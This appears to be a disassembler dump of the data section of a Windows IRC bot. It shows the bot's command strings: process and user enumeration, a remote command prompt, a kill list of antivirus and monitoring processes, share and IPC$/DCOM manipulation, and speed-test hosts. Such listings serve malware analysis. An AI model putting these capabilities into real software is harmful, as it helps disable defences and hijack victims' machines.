XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_43932C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439360 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439668 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439694 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396C0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397C8 dd offset dword_4397BC dd offset dword_4397B0 dd offset dword_4397A4 dd offset dword_439798 dd offset dword_43978C dd offset dword_43977C dd offset dword_439770 dd offset dword_439764 dd offset dword_439758 dd offset dword_43974C dd offset dword_43973C dd offset dword_439730 dd offset dword_439720 dword_439720 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:0043971Co dword_439730 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o dword_43973C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439714o dword_43974C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439710o dword_439758 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co dword_439764 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o dword_439770 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o dword_43977C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439700o dword_43978C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:004396FCo dword_439798 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:004396F8o dword_4397A4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396F4o dword_4397B0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F0o dword_4397BC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396ECo dword_4397C8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396E8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396DCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396D8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396D4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396CCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396C8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396C4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_439878 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43989C db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_4398C0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_4398F0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439948 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439978 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399AC db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_4399D0 dd offset dword_439A08 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao dd 0 dd offset dword_439A00 align 10h off_4399E0 dd offset dword_4399FC ; DATA XREF: sub_41A19D+1E3o dd offset dword_4399F8 dd offset dword_4399F4 dd offset dword_4399F0 dword_4399F0 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:004399ECo dword_4399F4 dd 2444h ; DATA XREF: ___:004399E8o dword_4399F8 dd 5C3A43h ; DATA XREF: ___:004399E4o dword_4399FC dd 2443h ; DATA XREF: ___:off_4399E0o dword_439A00 dd 494D4441h, 244Eh ; DATA XREF: ___:004399D8o dword_439A08 dd 24435049h, 0 ; DATA XREF: ___:off_4399D0o dword_439A10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439A68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439A94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439AB8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439AE4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439B08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439B74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439BA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_439BF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C28 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439CD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439CF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D2C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DA4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_439E18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A030 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A10C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 10h dword_43A140 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A184 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A188 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A18C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A194 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1A4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A200 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A21C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A258 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A274 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A280 dd 0AA798B1Ch ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A2E8 dd offset dword_43A2E8 dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o ; ___:0043A2DCo off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C302 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C2F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C788 dd 14h ; DATA XREF: sub_421624+2o off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C940 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch dd 0FFh, 427960h off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5A0 dd 101h dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; 